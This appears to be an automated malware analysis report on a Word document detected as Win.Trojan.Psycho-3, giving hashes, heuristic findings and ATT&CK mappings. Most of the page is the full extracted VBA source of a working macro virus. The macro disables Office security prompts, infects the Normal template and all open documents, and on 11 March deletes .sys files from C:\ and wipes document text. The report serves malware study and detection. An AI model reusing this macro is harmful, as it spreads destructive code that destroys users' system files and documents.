Win.Trojan.Psycho-3 — Office (OLE) malware analysis

Static analysis result for SHA-256 5db3a914ca4a6102…

MALICIOUS

Office (OLE)

37.0 KB Created: 2008-01-14 01:17:00 Authoring application: Microsoft Word 11.0 First seen: 2019-10-01
MD5: e3cc9084a46b0842422ed7e421b10aa3 SHA-1: 06e84eeeedaff95afab4975488e2396bcbe201a1 SHA-256: 5db3a914ca4a6102d003e67712d7c0477b6e01bcdcb92b2fdda5e92eda75f8dc
180 Risk Score

Malware Insights

Win.Trojan.Psycho-3 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as Win.Trojan.Psycho-3 by ClamAV, and it contains a Document_Open VBA macro. This macro attempts to disable security warnings and manipulate Office settings, indicating an intent to execute malicious code. The embedded VBA code also attempts to copy itself to the Normal template, suggesting an effort to establish persistence or facilitate further execution.

Heuristics 3

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3844 bytes
SHA-256: 41aa5d128c5cc47499a864cc59a6d3b6e44d4e15b94fb18325f0244c33d70d0c
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Bethlem'
    On Error Resume Next
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
       CommandBars("Macro").Controls("Security...").Enabled = False
       System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    Else
       CommandBars("Tools").Controls("Macro").Enabled = False
       'I know that you see the code!!!!!
       'Bethlem loves you
       Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1):
       Options.CheckSpellingAsYouType = (1 - 1): Options.CheckGrammarWithSpelling = (1 - 1):
       ActiveDocument.ShowGrammaticalErrors = (1 - 1): ActiveDocument.ShowSpellingErrors = (1 - 1):
       ActiveDocument.SpellingChecked = True
    End If
'    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Bethlem?") = "...by PPC"
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Bethlem'" Then
       NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
       .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
       .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
       NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
       .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
       .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
       .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
       If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Bethlem'" Then
          Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
          .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
          .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
       End If
       If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
          Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
          .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
          .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
          .VBComponents.Item(1).CodeModule.CountOfLines)
       End If
    Next k
    If (Day(Now) = 11) And (Month(Now) = 3) Then
       MsgBox "Happy Birthday"
       File = Dir("c:\*.sys", 6)
       For BA = 1 To 10
          SetAttr "c:\" & File, vbNormal
          File = Dir
          If File = "" Then BA = 10
       Next BA
       Set fs = Application.FileSearch
       With fs
          .LookIn = "C:\"
          .FileName = "*.sys"
          .FileType = msoFileTypeAllFiles
          If .Execute(SortBy:=msoSortByFileName, _
             SortOrder:=msoSortOrderAscending) > 0 Then
             BC = .FoundFiles.Count
             File = Dir("c:\*.sys")
             For B = 1 To BC
                SetAttr "c:\" & File, vbNormal
                Kill ("c:\" & File)
                File = Dir
             Next B
          End If
       End With
       Set myRange = ActiveDocument.Range(Start:=0, End:=Selection.End)
       For Each xWord In myRange.Words
          xWord.Delete
          ActiveDocument.UndoClear
       Next xWord
    'Microsoft thanks for the examples are very useful
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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